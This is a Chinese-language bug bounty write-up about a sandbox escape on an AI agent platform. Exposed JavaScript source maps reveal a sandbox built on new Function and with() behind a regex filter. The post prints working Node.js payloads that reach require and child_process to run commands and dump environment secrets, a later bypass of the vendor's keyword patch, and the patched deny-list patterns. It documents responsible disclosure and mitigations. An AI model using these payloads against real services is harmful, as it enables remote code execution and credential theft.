AI平台中的不安全JS沙箱绕过导致远程代码执行(RCE)

5 阅读10分钟

RCE via Insecure JS Sandbox Bypass

如何通过暴露的JS源码映射文件导致AI平台中的沙箱逃逸和远程代码执行

你好,世界!❤️

如果你想发现更多的漏洞,请关注那些测试较少的应用程序或功能。在漏洞赏金领域,大多数热门项目已经使用标准方法被测试了多次,这降低了发现新东西的机会。

然而,仍然有一种方法可以接触到那些尚未被众多研究人员公开测试的应用程序。

这里有一个简单的技巧。使用下面的Google搜索语法,并从Google搜索工具中应用**“过去一周”**过滤条件:

("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi

该查询会显示在过去一周内启动或更新的公开漏洞赏金项目。它还会排除主要的漏洞赏金平台,以减少干扰和重复的结果。

使用这种方法,我偶然发现了一家AI初创公司,它最近推出了其漏洞赏金计划

免责声明:本文仅供教育目的。所有发现均已按照负责任的披露原则进行发现和报告。受影响组织的名称和敏感细节已被作者有意删除。没有数据被滥用。

在审查一个范围内的Web应用程序时,我注意到一个部署配置错误,导致了目录列表暴露。

我遍历了这些暴露的目录,但最初没有发现任何有趣的东西。然而,我注意到多个大型JavaScript源映射(.js.map)文件

对于那些不熟悉的人,源映射是用于开发和调试的。它们将压缩的JavaScript映射回原始源代码,包括变量名、函数、文件结构,甚至注释。

通过下载这些暴露的.map文件并使用像sourcemapper这样的开源工具,可以重建原始的JavaScript/TypeScript源代码

在审查过程中,我使用VS Code对恢复的源代码进行了分析。

在审查期间,我发现了一个有趣的文件,webpack:/_N_E/src/app/api/utils/utils.ts,其中包含一个sandboxedEval函数。

[...]
function updateCodeNode(code: string) {
    const regex = /\{\{(.*?)\}\}/g;
    let updatedCode = `${code}`.trim().replace(regex, (match, innerTemplate) => {
        return `workflow.${innerTemplate}`;
    }).replaceAll('console.log', 'logFunc')
        .replaceAll('console.error', 'errorFunc')
        .replaceAll('console.warn', 'warnFunc');
    return updatedCode;
}

// Function to safely execute code in a sandbox and capture console output
export async function sandboxedEval(workflow: Record<string, any>, code: string, input: Record<string, any> | null = null): Promise<{ result: any; logs: Record<string, string>[] }> {
    // Capture console output
    const logs: Record<string, string>[] = [];
    [...]
    const sanitizeCode = (code: string): string => {
        const dangerousPatterns = [
            /process\./g,
            /require\(/g,
            /import\s+/g,
            /export\s+/g,
            /eval\(/g,
            /Function\(/g,
            /document\./g,
            /window\./g,
            /global\./g,
        ];
        let sanitizedCode = code;
        dangerousPatterns.forEach((pattern) => {
            if (pattern.test(sanitizedCode)) {
                console.log('pattern found: ', pattern);
                throw new Error('Cannot execute code with dangerous patterns');
            }
            sanitizedCode = sanitizedCode.replace(pattern, '/* blocked */');
        });
        return sanitizedCode;
    };
    try {
        // Creating a simple environment for execution
        let sandbox: any = {
            logFunc,
            errorFunc,
            warnFunc,
            Math,
            Date,
            workflow: workflow,
            output: null,
        };
        // Add inputs to the sandbox
        if (input) {
            sandbox.input = input;
        }
        sanitizeCode(code);
        const updatedCode = updateCodeNode(code) + '\nreturn null;';
        // Restrict execution scope
        const func = new Function('sandbox', `with (sandbox) { return (async function() { ${updatedCode} })(); }`);
        const result = await func(sandbox);
        return { result: sandbox.output ? sandbox.output : result, logs };
    } catch (e: any) {
        throw new Error(`Error in executing code: '${e.message}'`);
    }
}
[...]

该实现依赖于new Function()with()危险结构,并结合了基于正则表达式的弱过滤。众所周知,这些模式容易受到逃逸攻击、对象遍历和原型污染的影响。

下一个问题是:这段代码实际用在哪里?

为了回答这个问题,我探索了应用程序的功能。该应用程序是一个AI智能体平台,带有可视化流程构建器。它允许用户在构建智能体工作流程时嵌入自定义JavaScript。为了支持这一点,该平台使用了一个自定义的“沙箱化”JavaScript评估函数来(并不那么)安全地执行用户提供的代码。

在映射功能后,很明显我之前审查的易受攻击的代码直接用于此功能中

漏洞利用 / Payload

在这一点上,很明显沙箱实现是不安全的,并且可以被绕过,从而在底层服务器上实现远程代码执行(RCE)

利用JavaScript的执行模型,我首先获取了对全局对象的引用:

let g = (function() { return this })();

这将创建一个匿名函数并立即执行它。在非严格模式下,如果一个函数不是作为对象的方法被调用,this默认指向全局对象(在Node.js中是global)。

从全局对象中,我访问了Function构造函数,并用它来访问Node.js的内部结构,特别是require()函数:

let r = g.constructor.constructor("return this['process']['mainModule']['require']")();

g.constructor.constructor是一个获取Function构造函数的技巧。通过向Function构造函数传递一个字符串,代码会创建一个在全局作用域中执行的新函数。它特别针对require函数,这是Node.js加载模块的方式。

一旦可以访问require(),我导入了child_process模块,并使用execSync执行了一个操作系统命令:

let o = r('child_process').exe[c]Sync('env').toString();
logFunc(o);

注意:Medium不允许发布包含execSync()的代码块。为了遵守其内容政策,我在本文中将其重命名为exe[c]Sync()

现在,既然代码有了require(存储在r中),它使用它来加载child_process模块。execSync('env')在服务器上运行shell命令env。该命令列出了所有环境变量

最后,它获取env命令的输出(字符串o)并将其发送到日志记录函数。

我将以下最终的JavaScript Payload插入到应用程序的脚本编辑器功能中:

let g = (function() { return this })();
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
let o = r('child_process').exe[c]Sync('env').toString();
logFunc(o);

输出包含了230多个环境变量,包括敏感令牌和凭据:

[...]
AIRBYTE_API_KEY_PRO=[REDACTED]
AIRBYTE_API_KEY=[REDACTED]
AIRBYTE_AUTH_PASSWORD_PRO=[REDACTED]
AIRBYTE_AUTH_PASSWORD=[REDACTED]
AIRBYTE_AUTH_USERNAME_PRO=[REDACTED]
AIRBYTE_AUTH_USERNAME=[REDACTED]
AIRBYTE_DESTINATION_ID_PRO=[REDACTED]
AIRBYTE_WORKSPACE_ID_PRO=[REDACTED]
AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
AWS_SESSION_TOKEN=[REDACTED]
CLOUDFLARE_API_KEY=[REDACTED]
CLOUDFLARE_KV_API_KEY=[REDACTED]
CREDENTIALS_SECRET_KEY=[REDACTED]
DECRYPTION_KEY=-----BEGIN PRIVATE KEY-----\nMIIE[REDACTED][...]\n-----END PRIVATE KEY-----
DEPLOYMENTS_MANAGER_API_KEY=[REDACTED]
DIGITAL_OCEAN_TOKEN=[REDACTED]
FEATUREBASE_API_KEY=[REDACTED]
GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
GITHUB_OWNER=[REDACTED]
GITHUB_REPO_ACCESS_TOKEN=ghp_[REDACTED]
JWT_SALT=[REDACTED]
LOGFLARE_API_KEY=[REDACTED]
LOGFLARE_SOURCE_ID_PRO=[REDACTED]
MASTER_API_KEY=[REDACTED]
METABASE_SECRET_KEY=[REDACTED]
NEXT_PUBLIC_GITHUB_ACCESS_TOKEN=ghp_[REDACTED]
NEXT_PUBLIC_GITHUB_WORKFLOW_BRANCH=[REDACTED]
NEXT_PUBLIC_MESSAGE_ENCRYPTION_KEY=[REDACTED]
NEXT_PUBLIC_POSTHOG_KEY=[REDACTED]
NEXT_PUBLIC_STRIPE_ADD_VECTOR_SEARCH_PRICE_ID=[REDACTED]
NEXT_PUBLIC_STRIPE_PRICE_ID=[REDACTED]
NEXT_PUBLIC_STRIPE_PUBLIC_KEY=pk_live_[REDACTED]
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJ[REDACTED]
NODE_UTILS_API_KEY=[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
POSTGRES_DATABASE=[REDACTED]
POSTGRES_HOST=[REDACTED]
POSTGRES_PASSWORD=[REDACTED]
POSTGRES_PRISMA_URL=postgres://postgres.[REDACTED]:[REDACTED]@aws-0-us-east-1.pooler.[REDACTED].com:6543/postgres?sslmode=require&
POSTGRES_URL_NON_POOLING=postgres://postgres.[REDACTED]:[REDACTED]@aws-0-us-east-1.pooler.[REDACTED].com:5432/postgres?
POSTGRES_URL=postgres://postgres.[REDACTED]:[REDACTED]@aws-0-us-east-1.pooler.[REDACTED].com:6543/postgres?sslmode=require&
POSTGRES_USER=[REDACTED]
POSTHOG_PERSON_API_KEY=phx_[REDACTED]
PROXY_API_KEY=[REDACTED]
RESEND_API_KEY=re_[REDACTED]
SECRET_KEY=[REDACTED]
SENTRY_AUTH_TOKEN=sntrys_ey[REDACTED]
SMTP_PASSWORD=[REDACTED]
STELLATE_API_TOKEN=[REDACTED]
STELLATE_ORG_ID=[REDACTED]
STRIPE_SECRET_KEY=sk_live_[REDACTED]
STRIPE_WEBHOOK_SECRET=[REDACTED]
SUPABASE_ANON_KEY=eyJ[REDACTED]
SUPABASE_JWT_SECRET=[REDACTED]
SUPABASE_SECRET_KEY=eyJ[REDACTED]
SUPABASE_SERVICE_ROLE_KEY=eyJ[REDACTED]
TYPEFORM_ACCESS_TOKEN=tfp_[REDACTED]
VERCEL_ENV_ENC_KEY=[REDACTED]
WEAVIATE_API_KEY=[REDACTED]
[...]

这证实了在服务器上可以执行任意命令,导致了完全的远程代码执行(RCE)

影响

攻击者可以实现什么?

  • 在后端服务器上实现完全远程命令执行
  • 暴露所有环境变量,包括AWS、GitHub、OpenAI和Stripe等敏感凭据。
  • 使用初始访问点进行横向移动,攻陷其他连接的系统,并扩大整体攻击面
  • 潜在的数据删除部署恶意软件(例如,加密矿工)。

缓解措施

我推荐了多个补救步骤来解决根本原因和更广泛的风险。我建议禁用目录列表,并确保JavaScript源映射永远不会在生产环境中暴露

对于沙箱化评估逻辑,我建议完全避免使用自定义的进程内JavaScript执行。如果动态执行不可避免,我建议使用一个强化的沙箱库,如isolated-vm,避免基于正则表达式的过滤,并在一个单独的Docker容器中运行不受信任的代码,该容器具有严格的隔离、最小权限和对环境变量无访问权限。

后续发展

我在2025年7月23日报告了两个问题:

  1. 通过目录列表暴露的JavaScript源映射 [低]
  2. 通过不安全的JavaScript沙箱绕过实现的远程代码执行 [严重]

当天,公司CTO确认了这两个报告,并确认了这些问题的有效性:

CTO — “感谢您详细的报告,以及将这一关键问题提请我们注意。我们承认您发现的漏洞的严重性,并感谢您清晰的演示和文档。[...] 一旦修复措施在内部实施并验证,我们将向您通报解决状态,并确保您获得适当的奖励,以表彰您负责任的披露和发现的影响力。”

他们在几天内修补了这个问题。

差不多两个月后,在2025年9月18日,经过一次提醒,我收到了针对这两个漏洞的合并奖励,金额为**$2X0**,尽管他们的政策为严重问题列出了高得多的奖励范围。

当我要求澄清时,CTO回复说:

CTO — “[...] 我们将这两个漏洞归类为相关漏洞,意味着如果没有第一个漏洞,第二个漏洞就无法被利用,尽管它更为严重。目前,鉴于威胁的影响和我们的共同利益,我们将此漏洞视为中等严重性 [...] 我们正在平衡支出和奖励,基于我们认为“公平”的原则。不过,未来肯定会有更多合作的机会。”

我对严重性降级并不满意,因此在下一封邮件中表达了不同意见。

经过多次跟进和提醒,在2025年12月9日CEO回复了:

CEO — “[...] 如前所述,这两项发现已被合并评估为中等严重性评级。基于此评估,已根据我们的漏洞赏金计划政策发放了适当且相称的奖励。[...] 关于RCE的观察结果,它与一个源于第三方Java库的、被广泛利用的零日漏洞有关。尽管此问题源于外部组件,但我们迅速解决了它,并为您的贡献提供了慷慨的奖励。”

他称其为“源于第三方Java库的、被广泛利用的零日漏洞”?真的吗!?我知道受影响的文件是由他自己的团队编写和维护的。那时,我意识到继续争论是没有意义的。有些战斗不值得花费时间和精力,这就是其中之一。¯_(ツ)_/¯

事情通常就这样结束了。一个干净的RCE,实际影响,以及几乎无法反映努力的奖励。当一个“严重”问题被降级为“中等”(为了减少不适/责任)时,你会感到一阵失落。然后你会微笑。

因为如果你做这行足够久,你就会知道真相。真正的满足从来不是奖金或标签。而是发现了一个由经验丰富的开发人员团队所遗漏的东西的满足感。

因此,你关闭报告,深吸一口气,然后重新开始测试。

— win3zz

编辑:昨天,在写完这篇博客文章后,我再次测试了同样的功能。

你猜怎么着!?

通过对之前的payload稍作调整,我成功地绕过了他们应用的后端修复:

let g = (function() { return this })();
let r = g['constructor']['constructor']("return this['process']['main'+'Module']['require']")();
let o = r('child_'+'process')['execSync']('id').toString();
output = o;

/app/src/utils.ts文件中的命令输出显示,他们从未实施我建议的解决方案;事实上,他们只是屏蔽了我的payload中的一些重要关键词。

const dangerousPatterns = [
    /process\./g,
    /require\(/g,
    /eval\(/g,
    /Function\(/g,
    /child_process/g,
    /mainModule/g,
    /constructor\(/g,
    /execSync\(/g,
];

यथा कर्म तथा फलम्। CSD0tFqvECLokhw9aBeRqmmn8ThO8Fy72CphyexdoHYQp7H87wipeot77E7H0uLTQBO9+Aq5BQQIFdciTRfOcLr8Osdr+n4Be3aTzizGfOs=